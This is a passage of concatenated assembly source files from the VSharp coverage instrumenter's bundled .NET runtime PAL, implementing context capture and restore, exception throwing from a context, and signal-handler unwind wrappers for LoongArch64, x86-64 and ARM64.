ld.d $tp, $a0, CONTEXT_Tp
ld.d $a1, $a0, CONTEXT_A1
ld.d $a2, $a0, CONTEXT_A2
ld.d $a3, $a0, CONTEXT_A3
ld.d $a4, $a0, CONTEXT_A4
ld.d $a5, $a0, CONTEXT_A5
ld.d $a6, $a0, CONTEXT_A6
ld.d $a7, $a0, CONTEXT_A7
ld.d $t0, $a0, CONTEXT_T0
ld.d $t1, $a0, CONTEXT_T1
ld.d $t2, $a0, CONTEXT_T2
ld.d $t3, $a0, CONTEXT_T3
ld.d $t5, $a0, CONTEXT_T5
ld.d $t6, $a0, CONTEXT_T6
ld.d $t7, $a0, CONTEXT_T7
ld.d $t8, $a0, CONTEXT_T8
ld.d $s0, $a0, CONTEXT_S0
ld.d $s1, $a0, CONTEXT_S1
ld.d $s2, $a0, CONTEXT_S2
ld.d $s3, $a0, CONTEXT_S3
ld.d $s4, $a0, CONTEXT_S4
ld.d $s5, $a0, CONTEXT_S5
ld.d $s6, $a0, CONTEXT_S6
ld.d $s7, $a0, CONTEXT_S7
ld.d $s8, $a0, CONTEXT_S8
ld.d $a0, $a0, CONTEXT_A0
LOCAL_LABEL(No_Restore_CONTEXT_INTEGER):
ld.w $r21, $t4, CONTEXT_ContextFlags
bstrpick.w $r21, $r21, CONTEXT_CONTROL_BIT, CONTEXT_CONTROL_BIT
beq $r21, $r0, LOCAL_LABEL(No_Restore_CONTEXT_CONTROL)
ld.d $ra, $t4, CONTEXT_Ra
ld.d $fp, $t4, CONTEXT_Fp
ld.d $sp, $t4, CONTEXT_Sp
ld.d $r21, $t4, CONTEXT_Pc
ld.d $t4, $t4, CONTEXT_T4
jirl $r0, $r21, 0
LOCAL_LABEL(No_Restore_CONTEXT_CONTROL):
ld.d $t4, $t4, CONTEXT_T4
jirl $r0, $ra, 0
LEAF_END RtlRestoreContext, _TEXT
// Incoming:
// a0: Context*
LEAF_ENTRY RtlCaptureContext, _TEXT
PROLOG_STACK_ALLOC 16
st.d $r21, $sp, 0
li.w $r21, CONTEXT_FULL
st.w $r21, $a0, CONTEXT_ContextFlags
ld.d $r21, $sp, 0
EPILOG_STACK_FREE 16
b C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
// Incoming:
// a0: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
PROLOG_STACK_ALLOC 24
st.d $t0, $sp, 0
st.d $t1, $sp, 8
st.d $t3, $sp, 16
ld.w $t1, $a0, CONTEXT_ContextFlags
li.w $t0, CONTEXT_CONTROL
and $t3, $t1, $t0
bne $t3, $t0, LOCAL_LABEL(Done_CONTEXT_CONTROL)
addi.d $t0, $sp, 24
st.d $fp, $a0, CONTEXT_Fp
st.d $t0, $a0, CONTEXT_Sp
st.d $ra, $a0, CONTEXT_Ra
st.d $ra, $a0, CONTEXT_Pc
LOCAL_LABEL(Done_CONTEXT_CONTROL):
li.w $t0, CONTEXT_INTEGER
and $t3, $t1, $t0
bne $t3, $t0, LOCAL_LABEL(Done_CONTEXT_INTEGER)
ld.d $t0, $sp, 0
ld.d $t1, $sp, 8
ld.d $t3, $sp, 16
st.d $tp, $a0, CONTEXT_Tp
st.d $a0, $a0, CONTEXT_A0
st.d $a1, $a0, CONTEXT_A1
st.d $a2, $a0, CONTEXT_A2
st.d $a3, $a0, CONTEXT_A3
st.d $a4, $a0, CONTEXT_A4
st.d $a5, $a0, CONTEXT_A5
st.d $a6, $a0, CONTEXT_A6
st.d $a7, $a0, CONTEXT_A7
st.d $t0, $a0, CONTEXT_T0
st.d $t1, $a0, CONTEXT_T1
st.d $t2, $a0, CONTEXT_T2
st.d $t3, $a0, CONTEXT_T3
st.d $t4, $a0, CONTEXT_T4
st.d $t5, $a0, CONTEXT_T5
st.d $t6, $a0, CONTEXT_T6
st.d $t7, $a0, CONTEXT_T7
st.d $t8, $a0, CONTEXT_T8
st.d $r21,$a0, CONTEXT_X0
st.d $s0, $a0, CONTEXT_S0
st.d $s1, $a0, CONTEXT_S1
st.d $s2, $a0, CONTEXT_S2
st.d $s3, $a0, CONTEXT_S3
st.d $s4, $a0, CONTEXT_S4
st.d $s5, $a0, CONTEXT_S5
st.d $s6, $a0, CONTEXT_S6
st.d $s7, $a0, CONTEXT_S7
st.d $s8, $a0, CONTEXT_S8
LOCAL_LABEL(Done_CONTEXT_INTEGER):
ld.w $t1, $a0, CONTEXT_ContextFlags
li.w $t0, CONTEXT_FLOATING_POINT
and $t3, $t1, $t0
bne $t3, $t0, LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT)
addi.d $a0, $a0, CONTEXT_FPU_OFFSET
fst.d $f0 , $a0, CONTEXT_F0
fst.d $f1 , $a0, CONTEXT_F1
fst.d $f2 , $a0, CONTEXT_F2
fst.d $f3 , $a0, CONTEXT_F3
fst.d $f4 , $a0, CONTEXT_F4
fst.d $f5 , $a0, CONTEXT_F5
fst.d $f6 , $a0, CONTEXT_F6
fst.d $f7 , $a0, CONTEXT_F7
fst.d $f8 , $a0, CONTEXT_F8
fst.d $f9 , $a0, CONTEXT_F9
fst.d $f10, $a0, CONTEXT_F10
fst.d $f11, $a0, CONTEXT_F11
fst.d $f12, $a0, CONTEXT_F12
fst.d $f13, $a0, CONTEXT_F13
fst.d $f14, $a0, CONTEXT_F14
fst.d $f15, $a0, CONTEXT_F15
fst.d $f16, $a0, CONTEXT_F16
fst.d $f17, $a0, CONTEXT_F17
fst.d $f18, $a0, CONTEXT_F18
fst.d $f19, $a0, CONTEXT_F19
fst.d $f20, $a0, CONTEXT_F20
fst.d $f21, $a0, CONTEXT_F21
fst.d $f22, $a0, CONTEXT_F22
fst.d $f23, $a0, CONTEXT_F23
fst.d $f24, $a0, CONTEXT_F24
fst.d $f25, $a0, CONTEXT_F25
fst.d $f26, $a0, CONTEXT_F26
fst.d $f27, $a0, CONTEXT_F27
fst.d $f28, $a0, CONTEXT_F28
fst.d $f29, $a0, CONTEXT_F29
fst.d $f30, $a0, CONTEXT_F30
fst.d $f31, $a0, CONTEXT_F31
movfcsr2gr $t0, $fcsr0
st.d $t0, $a0, CONTEXT_FLOAT_CONTROL_OFFSET
LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT):
EPILOG_STACK_FREE 24
jirl $r0, $ra, 0
LEAF_END CONTEXT_CaptureContext, _TEXT
|
VSharp-team/VSharp | 1,610 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/loongarch64/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers, SP, and RA from the passed in context.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
#ifdef HAS_ASAN
#pragma error("LLVM v3.9 ASAN unimplemented on LOONGARCH yet")
#endif
addi.d $sp, $sp, -16
.cfi_adjust_cfa_offset 16
// Save the FP & RA to the stack so that the unwind can work at the instruction after
// loading the FP from the context, but before loading the SP from the context.
st.d $fp, $sp, 0
st.d $ra, $sp, 8
.cfi_rel_offset 22, 0
.cfi_rel_offset 1, 8
ld.d $tp, $a0, CONTEXT_Tp
ld.d $s0, $a0, CONTEXT_S0
ld.d $s1, $a0, CONTEXT_S1
ld.d $s2, $a0, CONTEXT_S2
ld.d $s3, $a0, CONTEXT_S3
ld.d $s4, $a0, CONTEXT_S4
ld.d $s5, $a0, CONTEXT_S5
ld.d $s6, $a0, CONTEXT_S6
ld.d $s7, $a0, CONTEXT_S7
ld.d $s8, $a0, CONTEXT_S8
ld.d $ra, $a0, CONTEXT_Ra
ld.d $fp, $a0, CONTEXT_Fp
ld.d $sp, $a0, CONTEXT_Sp
// The PAL_SEHException pointer
ori $a0, $a1, 0
b ThrowExceptionHelper
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,190 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/amd64/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
.cfi_def_cfa_offset (128 + 8 + \Alignment) // red zone + return address + alignment
.cfi_offset rip, -(128 + 8 + \Alignment)
push_nonvol_reg rbp
call EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
pop rbp
ret
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 8
|
VSharp-team/VSharp | 1,690 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/amd64/dispatchexceptionwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of the PAL_DispatchExceptionWrapper that is
// interposed between a function that caused a hardware fault
// and PAL_DispatchException that throws an SEH exception for
// the fault, to make the stack unwindable.
//
.intel_syntax noprefix
#include "unixasmmacros.inc"
// Offset of the return address from the PAL_DispatchException in the PAL_DispatchExceptionWrapper
.globl C_FUNC(PAL_DispatchExceptionReturnOffset)
C_FUNC(PAL_DispatchExceptionReturnOffset):
.int LOCAL_LABEL(PAL_DispatchExceptionReturn) - C_FUNC(PAL_DispatchExceptionWrapper)
//
// PAL_DispatchExceptionWrapper will never be called; it only serves
// to be referenced from a stack frame on the faulting thread. Its
// unwinding behavior is equivalent to any standard function having
// an ebp frame. It is analogous to the following source file.
//
// extern "C" void PAL_DispatchException(CONTEXT *pContext, EXCEPTION_RECORD *pExceptionRecord, MachExceptionInfo *pMachExceptionInfo);
//
// extern "C" void PAL_DispatchExceptionWrapper()
// {
// CONTEXT Context;
// EXCEPTION_RECORD ExceptionRecord;
// MachExceptionInfo MachExceptionInfo;
// PAL_DispatchException(&Context, &ExceptionRecord, &MachExceptionInfo);
// }
//
NESTED_ENTRY PAL_DispatchExceptionWrapper, _TEXT, NoHandler
push_nonvol_reg rbp
mov rbp, rsp
set_cfa_register rbp, (2*8)
int3
call C_FUNC(PAL_DispatchException)
LOCAL_LABEL(PAL_DispatchExceptionReturn):
int3
pop_nonvol_reg rbp
ret
NESTED_END PAL_DispatchExceptionWrapper, _TEXT
|
VSharp-team/VSharp | 8,714 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/amd64/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the Intel x86 platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
#ifdef HOST_64BIT
#define IRETFRAME_Rip 0
#define IRETFRAME_SegCs IRETFRAME_Rip+8
#define IRETFRAME_EFlags IRETFRAME_SegCs+8
#define IRETFRAME_Rsp IRETFRAME_EFlags+8
#define IRETFRAME_SegSs IRETFRAME_Rsp+8
#define IRetFrameLength IRETFRAME_SegSs+8
#define IRetFrameLengthAligned 16*((IRetFrameLength+8)/16)
// Incoming:
// RDI: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
// Save processor flags before calling any of the following 'test' instructions
// because they will modify state of some flags
push_eflags
END_PROLOGUE
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_INTEGER
je LOCAL_LABEL(Done_CONTEXT_INTEGER)
mov [rdi + CONTEXT_Rdi], rdi
mov [rdi + CONTEXT_Rsi], rsi
mov [rdi + CONTEXT_Rbx], rbx
mov [rdi + CONTEXT_Rdx], rdx
mov [rdi + CONTEXT_Rcx], rcx
mov [rdi + CONTEXT_Rax], rax
mov [rdi + CONTEXT_Rbp], rbp
mov [rdi + CONTEXT_R8], r8
mov [rdi + CONTEXT_R9], r9
mov [rdi + CONTEXT_R10], r10
mov [rdi + CONTEXT_R11], r11
mov [rdi + CONTEXT_R12], r12
mov [rdi + CONTEXT_R13], r13
mov [rdi + CONTEXT_R14], r14
mov [rdi + CONTEXT_R15], r15
LOCAL_LABEL(Done_CONTEXT_INTEGER):
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_CONTROL
je LOCAL_LABEL(Done_CONTEXT_CONTROL)
// Return address is @ (RSP + 8)
mov rdx, [rsp + 8]
mov [rdi + CONTEXT_Rip], rdx
.att_syntax
mov %cs, CONTEXT_SegCs(%rdi)
.intel_syntax noprefix
// Get the value of EFlags that was pushed on stack at the beginning of the function
mov rdx, [rsp]
mov [rdi + CONTEXT_EFlags], edx
lea rdx, [rsp + 16]
mov [rdi + CONTEXT_Rsp], rdx
.att_syntax
mov %ss, CONTEXT_SegSs(%rdi)
.intel_syntax noprefix
LOCAL_LABEL(Done_CONTEXT_CONTROL):
// Need to double check this is producing the right result
// also that FFSXR (fast save/restore) is not turned on
// otherwise it omits the xmm registers.
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT)
fxsave [rdi + CONTEXT_FltSave]
LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT):
free_stack 8
ret
LEAF_END CONTEXT_CaptureContext, _TEXT
LEAF_ENTRY RtlCaptureContext, _TEXT
mov DWORD PTR [rdi + CONTEXT_ContextFlags], (CONTEXT_AMD64 | CONTEXT_FULL | CONTEXT_SEGMENTS)
jmp C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
LEAF_ENTRY RtlRestoreContext, _TEXT
push_nonvol_reg rbp
alloc_stack (IRetFrameLengthAligned)
#ifdef HAS_ASAN
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_CONTROL
je LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT)
push_nonvol_reg rdi
push_nonvol_reg rsi
call EXTERNAL_C_FUNC(__asan_handle_no_return)
pop_nonvol_reg rsi
pop_nonvol_reg rdi
LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT):
#endif
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT)
fxrstor [rdi + CONTEXT_FltSave]
LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT):
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_XSTATE
je LOCAL_LABEL(Done_Restore_CONTEXT_XSTATE)
// Restore the extended state (for now, this is just the upper halves of YMM registers)
vinsertf128 ymm0, ymm0, xmmword ptr [rdi + (CONTEXT_VectorRegister + 0 * 16)], 1
vinsertf128 ymm1, ymm1, xmmword ptr [rdi + (CONTEXT_VectorRegister + 1 * 16)], 1
vinsertf128 ymm2, ymm2, xmmword ptr [rdi + (CONTEXT_VectorRegister + 2 * 16)], 1
vinsertf128 ymm3, ymm3, xmmword ptr [rdi + (CONTEXT_VectorRegister + 3 * 16)], 1
vinsertf128 ymm4, ymm4, xmmword ptr [rdi + (CONTEXT_VectorRegister + 4 * 16)], 1
vinsertf128 ymm5, ymm5, xmmword ptr [rdi + (CONTEXT_VectorRegister + 5 * 16)], 1
vinsertf128 ymm6, ymm6, xmmword ptr [rdi + (CONTEXT_VectorRegister + 6 * 16)], 1
vinsertf128 ymm7, ymm7, xmmword ptr [rdi + (CONTEXT_VectorRegister + 7 * 16)], 1
vinsertf128 ymm8, ymm8, xmmword ptr [rdi + (CONTEXT_VectorRegister + 8 * 16)], 1
vinsertf128 ymm9, ymm9, xmmword ptr [rdi + (CONTEXT_VectorRegister + 9 * 16)], 1
vinsertf128 ymm10, ymm10, xmmword ptr [rdi + (CONTEXT_VectorRegister + 10 * 16)], 1
vinsertf128 ymm11, ymm11, xmmword ptr [rdi + (CONTEXT_VectorRegister + 11 * 16)], 1
vinsertf128 ymm12, ymm12, xmmword ptr [rdi + (CONTEXT_VectorRegister + 12 * 16)], 1
vinsertf128 ymm13, ymm13, xmmword ptr [rdi + (CONTEXT_VectorRegister + 13 * 16)], 1
vinsertf128 ymm14, ymm14, xmmword ptr [rdi + (CONTEXT_VectorRegister + 14 * 16)], 1
vinsertf128 ymm15, ymm15, xmmword ptr [rdi + (CONTEXT_VectorRegister + 15 * 16)], 1
LOCAL_LABEL(Done_Restore_CONTEXT_XSTATE):
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_CONTROL
je LOCAL_LABEL(Done_Restore_CONTEXT_CONTROL)
// The control registers are restored via the iret instruction
// so we build the frame for the iret on the stack.
#ifdef __APPLE__
.att_syntax
// On OSX, we cannot read SS via the thread_get_context and RtlRestoreContext
// needs to be used on context extracted by thread_get_context. So we
// don't change the SS.
mov %ss, %ax
.intel_syntax noprefix
#else
mov ax, [rdi + CONTEXT_SegSs]
#endif
mov [rsp + IRETFRAME_SegSs], ax
mov rax, [rdi + CONTEXT_Rsp]
mov [rsp + IRETFRAME_Rsp], rax
mov eax, [rdi + CONTEXT_EFlags]
mov [rsp + IRETFRAME_EFlags], eax
mov ax, [rdi + CONTEXT_SegCs]
mov [rsp + IRETFRAME_SegCs], ax
mov rax, [rdi + CONTEXT_Rip]
mov [rsp + IRETFRAME_Rip], rax
LOCAL_LABEL(Done_Restore_CONTEXT_CONTROL):
// Remember the result of the test for the CONTEXT_CONTROL
push_eflags
test BYTE PTR [rdi + CONTEXT_ContextFlags], CONTEXT_INTEGER
je LOCAL_LABEL(Done_Restore_CONTEXT_INTEGER)
mov rsi, [rdi + CONTEXT_Rsi]
mov rbx, [rdi + CONTEXT_Rbx]
mov rdx, [rdi + CONTEXT_Rdx]
mov rcx, [rdi + CONTEXT_Rcx]
mov rax, [rdi + CONTEXT_Rax]
mov rbp, [rdi + CONTEXT_Rbp]
mov r8, [rdi + CONTEXT_R8]
mov r9, [rdi + CONTEXT_R9]
mov r10, [rdi + CONTEXT_R10]
mov r11, [rdi + CONTEXT_R11]
mov r12, [rdi + CONTEXT_R12]
mov r13, [rdi + CONTEXT_R13]
mov r14, [rdi + CONTEXT_R14]
mov r15, [rdi + CONTEXT_R15]
mov rdi, [rdi + CONTEXT_Rdi]
LOCAL_LABEL(Done_Restore_CONTEXT_INTEGER):
// Restore the result of the test for the CONTEXT_CONTROL
pop_eflags
je LOCAL_LABEL(No_Restore_CONTEXT_CONTROL)
// The function was asked to restore the control registers, so
// we perform iretq that restores them all.
// We don't return to the caller in this case.
iretq
LOCAL_LABEL(No_Restore_CONTEXT_CONTROL):
// The function was not asked to restore the control registers
// so we return back to the caller.
free_stack (IRetFrameLengthAligned)
pop_nonvol_reg rbp
ret
LEAF_END RtlRestoreContext, _TEXT
#else
.globl C_FUNC(CONTEXT_CaptureContext)
C_FUNC(CONTEXT_CaptureContext):
push %eax
mov 8(%esp), %eax
mov %edi, CONTEXT_Edi(%eax)
mov %esi, CONTEXT_Esi(%eax)
mov %ebx, CONTEXT_Ebx(%eax)
mov %edx, CONTEXT_Edx(%eax)
mov %ecx, CONTEXT_Ecx(%eax)
pop %ecx
mov %ecx, CONTEXT_Eax(%eax)
mov %ebp, CONTEXT_Ebp(%eax)
mov (%esp), %edx
mov %edx, CONTEXT_Eip(%eax)
push %cs
pop %edx
mov %edx, CONTEXT_SegCs(%eax)
pushf
pop %edx
mov %edx, CONTEXT_EFlags(%eax)
lea 4(%esp), %edx
mov %edx, CONTEXT_Esp(%eax)
push %ss
pop %edx
mov %edx, CONTEXT_SegSs(%eax)
testb $CONTEXT_FLOATING_POINT, CONTEXT_ContextFlags(%eax)
je 0f
fnsave CONTEXT_FloatSave(%eax)
frstor CONTEXT_FloatSave(%eax)
0:
testb $CONTEXT_EXTENDED_REGISTERS, CONTEXT_ContextFlags(%eax)
je 2f
movdqu %xmm0, CONTEXT_Xmm0(%eax)
movdqu %xmm1, CONTEXT_Xmm1(%eax)
movdqu %xmm2, CONTEXT_Xmm2(%eax)
movdqu %xmm3, CONTEXT_Xmm3(%eax)
movdqu %xmm4, CONTEXT_Xmm4(%eax)
movdqu %xmm5, CONTEXT_Xmm5(%eax)
movdqu %xmm6, CONTEXT_Xmm6(%eax)
movdqu %xmm7, CONTEXT_Xmm7(%eax)
2:
ret
#endif
|
VSharp-team/VSharp | 2,199 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/amd64/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers from the passed in context, sets the RSP to that frame and sets the
// return address to the target frame's RIP.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
#ifdef HAS_ASAN
// Need to call __asan_handle_no_return explicitly here because we re-initialize RSP before
// throwing exception in ThrowExceptionHelper
push_nonvol_reg rdi
push_nonvol_reg rsi
call EXTERNAL_C_FUNC(__asan_handle_no_return)
pop_nonvol_reg rsi
pop_nonvol_reg rdi
#endif
// Save the RBP to the stack so that the unwind can work at the instruction after
// loading the RBP from the context, but before loading the RSP from the context.
push_nonvol_reg rbp
mov r12, [rdi + CONTEXT_R12]
mov r13, [rdi + CONTEXT_R13]
mov r14, [rdi + CONTEXT_R14]
mov r15, [rdi + CONTEXT_R15]
mov rbx, [rdi + CONTEXT_Rbx]
mov rbp, [rdi + CONTEXT_Rbp]
mov rsp, [rdi + CONTEXT_Rsp]
// The RSP was set to the target frame's value, so the current function's
// CFA is now right at the RSP.
.cfi_def_cfa_offset 0
// Indicate that now that we have moved the RSP to the target address,
// the RBP is no longer saved in the current stack frame.
.cfi_restore rbp
mov rax, [rdi + CONTEXT_Rip]
// Store return address to the stack
push_register rax
// The PAL_SEHException pointer
mov rdi, rsi
jmp EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,294 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm64/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
__StackAllocationSize = (128 + 8 + 8 + \Alignment) // red zone + fp + lr + alignment
PROLOG_STACK_ALLOC __StackAllocationSize
.cfi_adjust_cfa_offset __StackAllocationSize
PROLOG_SAVE_REG_PAIR fp, lr, 0
bl EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
EPILOG_RESTORE_REG_PAIR fp, lr, 0
EPILOG_STACK_FREE __StackAllocationSize
ret
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 8
|
VSharp-team/VSharp | 1,730 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm64/dispatchexceptionwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of the PAL_DispatchExceptionWrapper that is
// interposed between a function that caused a hardware fault
// and PAL_DispatchException that throws an SEH exception for
// the fault, to make the stack unwindable.
//
#include "unixasmmacros.inc"
// Offset of the return address from the PAL_DispatchException in the PAL_DispatchExceptionWrapper
.globl C_FUNC(PAL_DispatchExceptionReturnOffset)
C_FUNC(PAL_DispatchExceptionReturnOffset):
.int LOCAL_LABEL(PAL_DispatchExceptionReturn) - C_FUNC(PAL_DispatchExceptionWrapper)
//
// PAL_DispatchExceptionWrapper will never be called; it only serves
// to be referenced from a stack frame on the faulting thread. Its
// unwinding behavior is equivalent to any standard function.
// It is analogous to the following source file.
//
// extern "C" void PAL_DispatchException(CONTEXT *pContext, EXCEPTION_RECORD *pExceptionRecord, MachExceptionInfo *pMachExceptionInfo);
//
// extern "C" void PAL_DispatchExceptionWrapper()
// {
// CONTEXT Context;
// EXCEPTION_RECORD ExceptionRecord;
// MachExceptionInfo MachExceptionInfo;
// PAL_DispatchException(&Context, &ExceptionRecord, &MachExceptionInfo);
// }
//
NESTED_ENTRY PAL_DispatchExceptionWrapper, _TEXT, NoHandler
PROLOG_SAVE_REG_PAIR_INDEXED fp, lr, -16
// Should never actually run
EMIT_BREAKPOINT
bl EXTERNAL_C_FUNC(PAL_DispatchException)
LOCAL_LABEL(PAL_DispatchExceptionReturn):
// Should never return
EMIT_BREAKPOINT
EPILOG_RESTORE_REG_PAIR_INDEXED fp, lr, 16
ret
NESTED_END PAL_DispatchExceptionWrapper, _TEXT
|
VSharp-team/VSharp | 6,544 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm64/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the ARM platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
#include "unixasmmacros.inc"
#include "asmconstants.h"
// Incoming:
// x0: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
PROLOG_STACK_ALLOC 32
.cfi_adjust_cfa_offset 32
// save x1, x2 and x3 on stack so we can use them as scratch
stp x1, x2, [sp]
str x3, [sp, 16]
// save the current flags on the stack
mrs x1, nzcv
str x1, [sp, 24]
ldr w1, [x0, CONTEXT_ContextFlags]
// clangs assembler doesn't seem to support the mov Wx, imm32 yet
movz w2, #0x40, lsl #16
movk w2, #0x1
mov w3, w2
and w2, w1, w2
cmp w2, w3
b.ne LOCAL_LABEL(Done_CONTEXT_CONTROL)
// save the cpsr
ldr x2, [sp, 24]
str w2, [x0, CONTEXT_Cpsr]
stp fp, lr, [x0, CONTEXT_Fp]
add x2, sp, #32
stp x2, lr, [x0, CONTEXT_Sp]
LOCAL_LABEL(Done_CONTEXT_CONTROL):
// we dont clobber x1 in the CONTEXT_CONTROL case
// ldr w1, [x0, CONTEXT_ContextFlags]
// clangs assembler doesn't seem to support the mov Wx, imm32 yet
movz w2, #0x40, lsl #16
movk w2, #0x2
mov w3, w2
and w2, w1, w2
cmp w2, w3
b.ne LOCAL_LABEL(Done_CONTEXT_INTEGER)
ldp x1, x2, [sp]
ldr x3, [sp, 16]
stp x0, x1, [x0, CONTEXT_X0]
stp x2, x3, [x0, CONTEXT_X2]
stp x4, x5, [x0, CONTEXT_X4]
stp x6, x7, [x0, CONTEXT_X6]
stp x8, x9, [x0, CONTEXT_X8]
stp x10, x11, [x0, CONTEXT_X10]
stp x12, x13, [x0, CONTEXT_X12]
stp x14, x15, [x0, CONTEXT_X14]
stp x16, x17, [x0, CONTEXT_X16]
stp x18, x19, [x0, CONTEXT_X18]
stp x20, x21, [x0, CONTEXT_X20]
stp x22, x23, [x0, CONTEXT_X22]
stp x24, x25, [x0, CONTEXT_X24]
stp x26, x27, [x0, CONTEXT_X26]
str x28, [x0, CONTEXT_X28]
LOCAL_LABEL(Done_CONTEXT_INTEGER):
ldr w1, [x0, CONTEXT_ContextFlags]
// clangs assembler doesn't seem to support the mov Wx, imm32 yet
movz w2, #0x40, lsl #16
movk w2, #0x4
mov w3, w2
and w2, w1, w2
cmp w2, w3
b.ne LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT)
add x0, x0, CONTEXT_NEON_OFFSET
stp q0, q1, [x0, CONTEXT_V0]
stp q2, q3, [x0, CONTEXT_V2]
stp q4, q5, [x0, CONTEXT_V4]
stp q6, q7, [x0, CONTEXT_V6]
stp q8, q9, [x0, CONTEXT_V8]
stp q10, q11, [x0, CONTEXT_V10]
stp q12, q13, [x0, CONTEXT_V12]
stp q14, q15, [x0, CONTEXT_V14]
stp q16, q17, [x0, CONTEXT_V16]
stp q18, q19, [x0, CONTEXT_V18]
stp q20, q21, [x0, CONTEXT_V20]
stp q22, q23, [x0, CONTEXT_V22]
stp q24, q25, [x0, CONTEXT_V24]
stp q26, q27, [x0, CONTEXT_V26]
stp q28, q29, [x0, CONTEXT_V28]
stp q30, q31, [x0, CONTEXT_V30]
add x0, x0, CONTEXT_FLOAT_CONTROL_OFFSET
mrs x1, fpcr
mrs x2, fpsr
stp x1, x2, [x0, CONTEXT_Fpcr]
